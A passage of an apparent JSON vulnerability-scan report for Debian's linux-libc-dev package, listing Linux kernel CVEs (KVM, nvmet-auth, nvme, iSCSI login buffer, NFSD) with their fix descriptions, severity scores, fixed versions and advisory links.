kernel, the following vulnerability has been resolved:\n\nKVM: nVMX: Always flush vpid02 on first use\n\nMake sure vpid02 is always flushed on first use by setting last_vpid=0\nwhen allocating vpid02. nested_vmx_transition_tlb_flush() will always\ndetect a VPID change on first VM-Enter after VMXON, because VPID=0 in\nvmcs12 is not allowed if L1 enables VPID.\n\nThis avoids using stale TLB entries from a previous lifetime of the\nVPID, that might have been associated with a different vCPU (or a\ncompletely different VM).\n\nNote that last_vpid is already being initialized as 0 when the vCPU is\ncreated, but it is not reset when vpid02 is freed on VMXOFF. Hence, the\nproblem can only occur if L1 does VMXOFF -\u003e VMXON, runs an L2, and KVM\nhappens to reuse a VPID that has TLB entries on the physical CPU.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93413", "https://access.redhat.com/security/cve/CVE-2026-89932", "https://bugzilla.redhat.com/show_bug.cgi?id=2431602", "https://bugzilla.redhat.com/show_bug.cgi?id=2482549", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2513188", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535212", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22977", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89932", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93413", "https://git.kernel.org/linus/f0772389413dce9657c7d6950abf3edbbd511356%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89932.mbox", "https://git.kernel.org/stable/c/121991d150735f3c0f7401678ce4d35c5b4ac898", "https://git.kernel.org/stable/c/22dfcc22c95e91295119a1c3b469816ce44c4804", "https://git.kernel.org/stable/c/26de0d2d9a8d14c03e5ebb25fd68b5bfcd5ac366", "https://git.kernel.org/stable/c/62604376c313178811375f40a282fc2a46cd2311", "https://git.kernel.org/stable/c/8b98d662ab24f34710a56e03bc9169e4a5508606", "https://git.kernel.org/stable/c/8bc609999ec223089fec8d74c7de27d689606b36", "https://git.kernel.org/stable/c/f0772389413dce9657c7d6950abf3edbbd511356", "https://linux.oracle.com/cve/CVE-2026-89932.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89932", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89932" ], "PublishedDate": "2026-09-16T11:17:02.543Z", "LastModifiedDate": "2026-10-19T09:18:38.93Z" }, { "VulnerabilityID": "CVE-2026-89970", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89970", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:40cc626be3259cb7a6ab242456b99aae7ccea6dc09c8872c10299addc4559cc4", "Title": "kernel: nvmet-auth: Synchronize timeout work during SQ teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-auth: Synchronize timeout work during SQ teardown\n\nnvmet_auth_sq_free() cancels auth_expired_work with\ncancel_delayed_work(). If the work has already started, cancellation does\nnot wait for the callback. Transport teardown can consequently free or\nreuse the queue containing struct nvmet_sq while\nnvmet_auth_expired_work() still accesses that SQ.\n\nAdd a teardown-specific helper that synchronously drains the delayed work\nbefore freeing authentication state, and use it from nvmet_sq_destroy().\nKeep the non-synchronous helper for in-band authentication state cleanup,\nwhere the SQ owner remains alive.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-89970", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/linus/eaa948c0e19b1bb2d93262207bca0c3d19cc3406%20%287.3-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89970.mbox", "https://git.kernel.org/stable/c/664022fa1c93f4eba09ef5ee02411b9709dd7a93", "https://git.kernel.org/stable/c/7555ddd60af72df2862dd8f9b730a9848577edda", "https://git.kernel.org/stable/c/c17c87bde6d6f5252a6a6f0a94b2430164aa28d5", "https://git.kernel.org/stable/c/c3c126a6142a1335bc8c34a5607c39cf01daf295", "https://git.kernel.org/stable/c/eaa948c0e19b1bb2d93262207bca0c3d19cc3406", "https://git.kernel.org/stable/c/eb4f9127a2b8a152743f1ee597627e2f69cb54fe", "https://linux.oracle.com/cve/CVE-2026-89970.html", "https://linux.oracle.com/errata/ELSA-2026-81552.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89970", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89970" ], "PublishedDate": "2026-09-16T11:17:07.66Z", "LastModifiedDate": "2026-10-19T09:18:43.587Z" }, { "VulnerabilityID": "CVE-2026-89972", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89972", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a7cf9259626d8877b662a73582db8d08ecde2f2f5287fc6f5186212602085d13", "Title": "kernel: nvme: add missing SRCU grace period in error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme: add missing SRCU grace period in error path\n\nnvme_alloc_ns() error path at out_unlink_ns removes ns from the\nnamespace head siblings list with list_del_rcu(\u0026ns-\u003esiblings) but\ndoes not wait for SRCU readers before freeing the namespace struct.\nMultipath code iterates the head-\u003elist under srcu_read_lock() in\nnvme_find_path() and nvme_mpath_revalidate_paths(), so a concurrent\nreader can still hold a reference to ns when kfree(ns) runs.\n\nThe normal removal path in nvme_ns_remove() correctly calls\nsynchronize_srcu(\u0026ns-\u003ehead-\u003esrcu) after list_del_rcu() to wait for\nin-progress readers. Add the same grace period in the error path.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-89972", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/ef248d5de4469fb6bbaf8dbe0c4c47800080d648%20%287.3-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89972.mbox", "https://git.kernel.org/stable/c/037e71058e8a59568db72015d4386f54e54dff77", "https://git.kernel.org/stable/c/0d4735418512ef825176726eaaa8bd6a35f6b46d", "https://git.kernel.org/stable/c/3868476cd39161f18720582df17a1b621e805b5d", "https://git.kernel.org/stable/c/76023560d60f10b4f808941163aa2975f1631683", "https://git.kernel.org/stable/c/7f180cef9f3421ece85c43bfdc326ce5875845bb", "https://git.kernel.org/stable/c/d663944dbad81bb0e3635d7090db4713e6300858", "https://git.kernel.org/stable/c/da710ec2a70a85de73afd4f7869b234fd9ede49e", "https://git.kernel.org/stable/c/ef248d5de4469fb6bbaf8dbe0c4c47800080d648", "https://linux.oracle.com/cve/CVE-2026-89972.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89972", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89972" ], "PublishedDate": "2026-09-16T11:17:07.953Z", "LastModifiedDate": "2026-10-30T13:20:37.4Z" }, { "VulnerabilityID": "CVE-2026-90011", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90011", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:73a693b417ab42eeee57c85f7ba97c6c5b75a1d5819c51b0e32d5321d728e018", "Title": "kernel: scsi: target: iscsi: Reserve a terminator byte for the login payload", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: iscsi: Reserve a terminator byte for the login payload\n\niscsi_target_check_login_request() rejects a login PDU whose\nDataSegmentLength exceeds MAX_KEY_VALUE_PAIRS, but the test is '\u003e' and\nlogin-\u003ereq_buf is allocated with exactly MAX_KEY_VALUE_PAIRS\nbytes. Since iscsit_get_login_rx() receives payload_length + padding\nbytes, where\n\n\tpadding = ((-payload_length) \u0026 3);\n\nany payload_length from 8189 to 8192 fills the whole 8192 byte\nbuffer. The write stays in bounds, but no byte is left for a NUL\nterminator.\n\nThe buffer is subsequently consumed as a C string. In the CHAP path\nchap_check_algorithm() calls kstrdup(a_str), and extract_param() calls\nstrstr(in_buf, pattern) followed by strlen_semi(), none of which take a\nlength. convert_null_to_semi() additionally rewrites every embedded NUL\nto ';', so even a payload made of well formed NUL separated key=value\nrecords is left without a terminator. These walk past the end of the\nobject into adjacent slab memory. It is reachable by an unauthenticated\ninitiator against a portal configured for CHAP; when authentication is\nnot required iscsi_login_zero_tsih_s2() rewrites AuthMethod to None and\nthe CHAP path is never entered.\n\nAllocate one extra byte. kzalloc() zeroes it and nothing ever writes to\nit, as every writer copies to offset 0 for at most MAX_KEY_VALUE_PAIRS\nbytes, so the buffer is always terminated.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92209", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-90011", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516657", "https://bugzilla.redhat.com/2535227", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-92209.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/f4825922d2fb371e2b969697d792077f1b62b62c%20%287.3-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90011.mbox", "https://git.kernel.org/stable/c/1624bff4c5118ad494d50ad94d44f22064667a7f", "https://git.kernel.org/stable/c/3ddf3ea291a0ef2ea93b82e158960ac2cc42302b", "https://git.kernel.org/stable/c/5fac79f248c37774d1dd761406f83d25ca6ff8e4", "https://git.kernel.org/stable/c/6b589ef9d5f6cdc70d2b4f269ca6cf26b5ebb076", "https://git.kernel.org/stable/c/6ddddcad436d8e6e619204d3c848147ff2f5bf1e", "https://git.kernel.org/stable/c/b19dc17ed963ac36c0db4b52a1803fb11169f91f", "https://git.kernel.org/stable/c/eb9dadf4d552ebe10644871c5189286552aa48f5", "https://git.kernel.org/stable/c/f4825922d2fb371e2b969697d792077f1b62b62c", "https://linux.oracle.com/cve/CVE-2026-90011.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90011", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-90011" ], "PublishedDate": "2026-09-16T11:17:13.76Z", "LastModifiedDate": "2026-10-19T09:18:48.927Z" }, { "VulnerabilityID": "CVE-2026-90036", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90036", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9c30cbd2acac4903b596d37027ff542dadf4630cb92896f504e021fd794f2f4e", "Title": "kernel: NFSD: Prevent client use-after-free during blocked-lock reaping", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Prevent client use-after-free during blocked-lock reaping\n\nA bare lock owner -- its only remaining reference a blocked lock on\nnn-\u003eblocked_locks_lru -- holds a raw pointer to its nfs4_client but\nno reference keeping the client alive. When the per-net laundromat\nreaps such a lock, freeing the nbl drops the owner reference\nheld through flc_owner, and the final nfs4_put_stateowner()\ntakes the client's cl_lock. Because the laundromat detaches the\nnbl first, __destroy_client() no longer finds it, so a concurrent\nforce_expire_client() can free the client before nfs4_put_stateowner()\nruns, dereferencing cl_lock in freed memory.\n\nPin the client with cl_rpc_users before dropping\nnn-\u003eblocked_locks_lock, and skip clients already expiring, whose\nblocked locks __destroy_client() frees while holding an owner\nreference. Take nn-\u003eclient_lock outside nn-\u003eblocked_locks_lock.\nEvery other site holds nn-\u003eblocked_locks_lock as a leaf, acquiring\nno further lock, so placing nn-\u003eclient_lock outside it cannot form\na lock-order cycle.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-90036", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", 